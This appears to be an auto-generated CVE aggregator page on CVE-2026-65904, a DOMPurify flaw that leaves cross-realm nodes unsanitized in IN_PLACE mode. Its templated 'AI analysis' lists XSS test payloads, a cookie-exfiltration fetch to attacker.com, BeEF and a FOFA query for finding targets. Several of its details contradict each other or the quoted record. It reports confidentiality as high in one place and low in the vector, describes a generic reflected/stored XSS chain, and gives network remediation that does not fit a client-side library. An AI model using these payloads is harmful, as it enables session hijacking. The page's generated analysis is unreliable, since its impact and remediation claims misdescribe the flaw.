CVE Professor
›
Back
CVE-2026-65904

CVE-2026-65904 — Cure53 Dompurify (tüm Sürümler) — CWE-754

MEDIUM CVSS 4.7 NVD

CVE-2026-65904 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-754) (CVSS 4.7/10) affecting Cure53 Dompurify (tüm Sürümler). Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, triggering a scope change (S:C) across connected components and allowing unauthorized disclosure of sensitive data (C:H).

📄 Official NVD / MITRE Original Record Text

DOMPurify before 3.4.4 fails to sanitize DOM elements passed via IN_PLACE mode when the element originates from a different window/realm (e.g., an iframe's contentDocument). A cross-realm instanceof check in the private _isNode() function returns false for foreign-realm nodes, causing DOMPurify to stringify the element (yielding '[object HTMLDivElement]'), silently reset IN_PLACE to false, and return the unsanitized element unchanged with any XSS payloads intact.

Published 23.07.2026
ISO Date 2026-07-23
CVSS Version v3.1
Source NVD
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation
🤖 Generating Deep AI Security Analysis…
Analyzing CVSS vector & CWE weakness structure…

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-65904
CVSS 4.7/10 · MEDIUM · 23.07.2026
CWE: CWE-754
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: DOMPurify before 3.4.4 fails to sanitize DOM elements passed via IN_PLACE mode when the element originates from a different window/realm (e.g., an iframe's contentDocument). A cross-realm instanceof check in the private _isNode() function returns false for foreign-realm nodes, causing DOMPurify to stringify the element (yielding '[object HTMLDivElement]'), silently reset IN_PLACE to false, and …
Affected: cure53:dompurify

⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.

🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)

🌍 REAL WORLD IMPACT
All confidential data readable/stealable; pivot to other systems possible.

🛡️ REMEDIATION
→ Apply vendor security update for cure53:dompurify.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
📋 Routine update cycle (30 days)

────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="cure53 dompurify"
CVSS Score
4.7 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-754
Affected Products (1)
cure53:dompurify (tüm sürümler)
References & Advisories (3)
github.com exploit
github.com exploit
Related CVEs
6.5
CVE-2026-121592
Mattermost Plugins versions <=12.-1 11.0.11 11.11.7 11.2.10.0 fail to check for a nil result after decoding th
7.5
CVE-2026-131857
Supergateway 4.2.0 through 4.2.2 contains a denial of service vulnerability in stdio-to-SSE mode that allows u
6.8
CVE-2026-71500
## What's wrong `_maybe_update_replicated_unlocked` never checks `t_invalid`, so a claim that a signed contra
8.8
CVE-2026-130957
Improper state validation in Performance in Google Chrome prior to 158.0.8127.36 allowed a remote attacker to
7.4
CVE-2026-130912
Improper state validation in Network in Google Chrome prior to 158.0.8127.36 allowed a remote attacker to pote
4.2
CVE-2026-130940
Improper state validation in GPU in Google Chrome prior to 158.0.8127.36 allowed a remote attacker who had com